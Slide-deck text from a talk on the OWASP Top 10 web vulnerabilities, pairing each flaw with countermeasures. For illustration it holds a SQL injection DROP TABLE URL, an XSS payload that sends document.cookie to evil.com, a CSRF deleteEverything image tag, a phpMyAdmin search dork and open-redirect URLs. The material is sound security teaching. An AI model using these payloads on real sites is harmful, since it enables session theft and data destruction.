1

The Top 10 Security Vulnerabilities in Web ApplicationsBrian “Bex” HuffChief Software Architect

22

Agenda

Intro

Open Web Application Security Project (OWASP)

Top 10 Security Vulnerabilities

Countermeasures

33

Intro

What is OWASP?• http://owasp.org• Worldwide non-profit focused on improving software security• Reaches out to ALL developers: not just security professionals

Who am I?• Oracle ACE Director• Author of 2 books on Oracle Technology• Twitter: @bex -- used to be @OWASP• Here to help all developers

What will you learn?• The top 10 security mistakes that developers make• How to design software with an assurance of security

44

OWASP Top Ten

1) Injection

2) Cross Site Scripting

3) Broken Authentication and Session Management

4) Insecure Direct Object References

5) Cross Site Request Forgery (CSRF)

6) Security Misconfiguration

7) Insecure Cryptographic Storage

8) Failure to Restrict URL Access

9) Insufficient Transport Layer Protection

10) Unvalidated Redirects and Forwards

55

1) Injection

Used when your app sends user-supplied data to other apps• Database, Operating System, LDAP, Web Services

Hackers "inject" their code to run instead of yours• To access unauthorized data, or completely take over remote application

Example: SQL injection attackString query = "SELECT * FROM

products WHERE name='" + request.getParameter("id") +"'";• Code expects a nice parameter in the URL

http://example.com/products?id=123• Hacker could instead supply this:http://example.com/products?

id=';+DROP+TABLE+'products';

66

Example

Don’t: name your child

Robert’); DROP TABLE Students;--

Do: expect SQL Injection

77

Countermeasures

"Connections" between systems are highly vulnerable

Always assume data coming in could be "evil"• be sure to include "evil" use cases and user stories in your design

Ideally, only allow the user to select among "safe" options• no generic text allowed

If user-input text is needed, use parameterized queries• clean up quotes, parenthesis, and SQL comments

Use a battle-tested library for protecting your database• Java PreparedStatement, OWASP's ESAPI codecs

88

2) Cross Site Scripting

Sites must "cleanse" user input before displaying it Hackers can create URLs to inject their own HTML onto the page• can be used to do almost any kind of attack!!!

Example: JSP to draw HTML based on user input• String html = "<input name='item' type='TEXT' value='" +

request.getParameter("item") + "'>";

Code expects a nice URL:• http://example.com/buy?item=123

But a hacker could supply this:• http://example.com/buy?item='><script>document.location='

http://evil.com/steal/'+document.cookie</script>

Then, try to trick somebody to go to that URL• Stolen cookies are frequently as good as stole passwords

99

Countermeasures

Never, ever, ever trust user-submitted content!• URLs, comments threads, web forms

Properly "escape" any data before displaying it on web pages• JavaScript parameters, URL parameters, STYLE elements• Remove script tags, and possibly anything with a SRC attribute• Use ESAPI to "cleanse" your HTML

Do not allow state-change from HTTP GET requests• Otherwise, an IMG tag could cause you to lose all your data

Set the HttpOnly flag in your response headers• Prevents document.cookie from working in JavaScript

1010

3) Broken Authentication and Session Management

HTTP is a "stateless" protocol• Nice and simple: HTTP request, HTTP response• All data must be passed in the request every time

How do we store state?• Client side with cookies• Server side with sessions

Most apps place a "sessionId" in cookies, or in the URL• Problem: now stealing sessionIds is just as good as stealing passwords!

Multiple ways to determine a session ID• packet sniffing -- especially on an open WiFi access point• HttpReferrer logs, if sessionId is in the URL

1111

Countermeasures

Assume that a user stole a session ID• Determine how bad this would be in your application

Use SSL everywhere!• Makes it harder for people to “sniff” your session ID

If you cannot use SSL everywhere, use it for logins• Have a cryptographically strong session ID

Good sessionIds should be very difficult to re-use• Embed user IP address, user name, timestamp, and a secret• Forces an attacker to spoof IP addresses to take over• Prompt for re-login if IP changes during a session

1212

4) Insecure Direct Object References

Assume my project id is 123

I see a link on “My Projects” page that goes here:• http://example.com/projects/123

If I alter the URL, can I see other people’s projects?• http://example.com/projects/124

Do you only restrict access in the web form?

What if I could "guess" the URL? Could I see the page?• Don't trick yourself into thinking complex URLs are any more secure• Security != Obscurity

1313

Countermeasures

Every resource needs a security level• What roles do you need to access certain items?• Access Control Lists are easy to implement, but don’t always scale

All access to that resource should go through the same check• What action are you taking, with what resource?• Put it all in one common codebase for simplicity• May need to run check multiple times, for sub-actions and sub-resources• Unusual behavior? Have additional authentication questions/layers!

Front-end restriction is nice for usability, but not security

Back-end application must double-check access rights

1414

5) Cross Site Request Forgery (CSRF)

Evil sites can hijack your browser, and run secure request:

1) User logs into secure application behind the firewall

http://example.com/myApp2) User goes to "evil" website, or loads up "evil" HTML email

3) HTML contains this image:

<img src="http://example.com/myApp/deleteEverything"></img>

With JavaScript and XSS, evil sites can completely take over your browser

1)Can browse around your intranet, log into bank accounts• Anything you are currently logged into

1)Complete control, as long as you stay on the evil site

Unfortunate side-effect of Single-Sign-On

1515

Countermeasures

All state change should require a unique token in the request But if its in the URL, it's vulnerable!• URLs are frequently logged, and can be "sniffed"• avoid reusable tokens

General solution:• All state change requires HTTP POST, not a GET• Put one-time token in a hidden field on the web form• After POST, do a GET redirect to a confirmation page

What kind of token?• Single-request tokens: safest, but a pain• Session-based tokens hashed with session ID and action

Require multiple-level authentication• If an action looks fishy, re-prompt user for login

1616

6) Security Misconfiguration

Most web applications depend on some kind of framework• Weblogic, Spring, ADF, Ruby on Rails, Open Source Libraries• JARs and JARs and JARs of fun...

What if your framework issued a security patch?• Do you have a centralized policy for keeping dependencies up-to-date?• How long would it take you to discover new code?• How long would it take to recompile/test/redeploy?

Do you know all security configurations in the framework?• Odds are no... documentation is usually obtuse• “Being helpful is a security hole”

Have you properly "hardened" your framework?• Delete default users, disable unused services and ports

1717

Countermeasures

Subscribe to newsletters and blog feeds to get patches• Install the patches as quickly as possible

Do periodic scans to detect misconfiguration / missing patches

Disable features that are "nice" for developers, but "nasty" for security

Use automation to ensure patches are up-to-date• If you can't verify it, it's not secure• Can you prove glass is bulletproof without firing bullets at it?

Taking over websites shouldn't be this easy:• http://www.google.com/search?

q=inurl:SELECT+inurl:FROM+inurl:WHERE+intitle:phpmyadmin

1818

7) Insecure Cryptographic Storage

All applications store sensitive data• Credit cards, passwords, secure documents

How much "sensitive" data is in your log files?• In general, or for exotic errors?

How are you preventing unauthorized access to these resources?

If somebody stole your backup tapes, how bad would it be?

1919

Countermeasures

If you store secrets, encrypt them!• Use only battle-tested standard encryption algorithms

Analyze possible threats: inside attack, external user• Make sure encryption policy is appropriate for the threats

Encrypt data anywhere it's stored long term• Especially backups!• Store backups of decryption keys separately from data

Restrict access to decrypted data to only authorized users Hash all passwords with a standard algorithm, and a "salt" Use strong keys to access the information Create a password management policy, and stick with it!

2020

8) Failure to Restrict URL Access

Similar to #4: Insecure Direct Object Reference• Need to block specific actions, even if no resource is identified

Example: my project is 123 I will see these URLs on my home page:• http://example.com/project/123• http://example.com/user/getProjects/

I could fish around and try other URLs as well:• http://example.com/manager/getProjects/• http://example.com/admin/getProjects/

Would your application prevent this? Same general issue: • you have front-end security, but not back-end security

2121

Countermeasures

Do authentication checks at least twice• Front end UI, and back end Controller

Don't draw URLs to the page if the user cannot access them• Bad usability• Hackers might be tempted to fish around for vulnerabilities

Never assume a URL is allowed• Do back-end checks for access, and state change

Add even more layers as needed:• Does all security information exist in the URL?

• Can you authenticate right away?• Might you need to get half way through the request before you know

what rights are needed?• What if the user has access, but their behavior is unusual

• should you prompt for password again, or perhaps for additional authorization?

2222

9) Insufficient Transport Layer Protection

How is sensitive information sent from the user to your server?• When they log in, or view sensitive data?

How do you send that information to other systems?• JDBC call, Web Services, JMS, emails

It is shockingly easy to eavesdrop on web traffic• Probably no surprise to this crowd ;-)

Wireless access points make it even easier• Need password encryption at the WEP/WAP layer

2323

Countermeasures

Use strong, standards compliant network security protocols Use TLS (SSL) on all connections with sensitive data Encrypt messages before transmission• XML-Encryption

Sign messages before transmission• XML-Signature

Disable old, flawed encryption algorithms (ie, SSL 2.0) If HTTPS is impractical, at the very least secure the login

process

2424

10) Unvalidated Redirects and Forwards

Most sites allow redirects to other sites, or pages within the site:• http://example.com/redirect?url=google.com

But, open redirect pages can be used by "phishers" to create links to their site:• http://example.com/redirect?url=evil.com

Link looks like it goes to "example.com", but it goes to "evil.com"

Or, can trick a site user into harming their own site:• http://example.com/redirect?url=/admin.jsp?deleteEverything=true

Sometimes called "phishing holes"

2525

Countermeasures

Restrict redirects to a limited number of "trusted" sites

Keep a list of all redirect URLs, and pass the ID in the request, instead of the URL• http://example.com/redirect?urlId=123

Hash the URL with a secret, and pass the hash in the URL• http://example.com/redirect?url=google.com&hash=a1b2c3

Question: are URL shorteners inherently unsafe?• TinyUrl offers a "preview" feature: others should as well

Question: does this URL look like a Google Invoice to you?• http://www.google.com/#invoiceId=123&q=qb_hqexKkw8&btnI=3564

2626

Further Recommendations

Read the entire OWASP Top 10• http://owasp.org/index.php/Top_10_2010-Main

Read through the ESAPI documentation, and use it!• http://www.owasp.org/index.php/ESAPI

Quiz your developers about what security is needed and why

Audit to find threats with biggest business impact

Reminder: security is everybody's responsibility!

2727

My Company: http://bezzotech.com

My Blog: http://bexhuff.com

My Tweets: @bex

My Self: bex@bezzotech.com

Questions?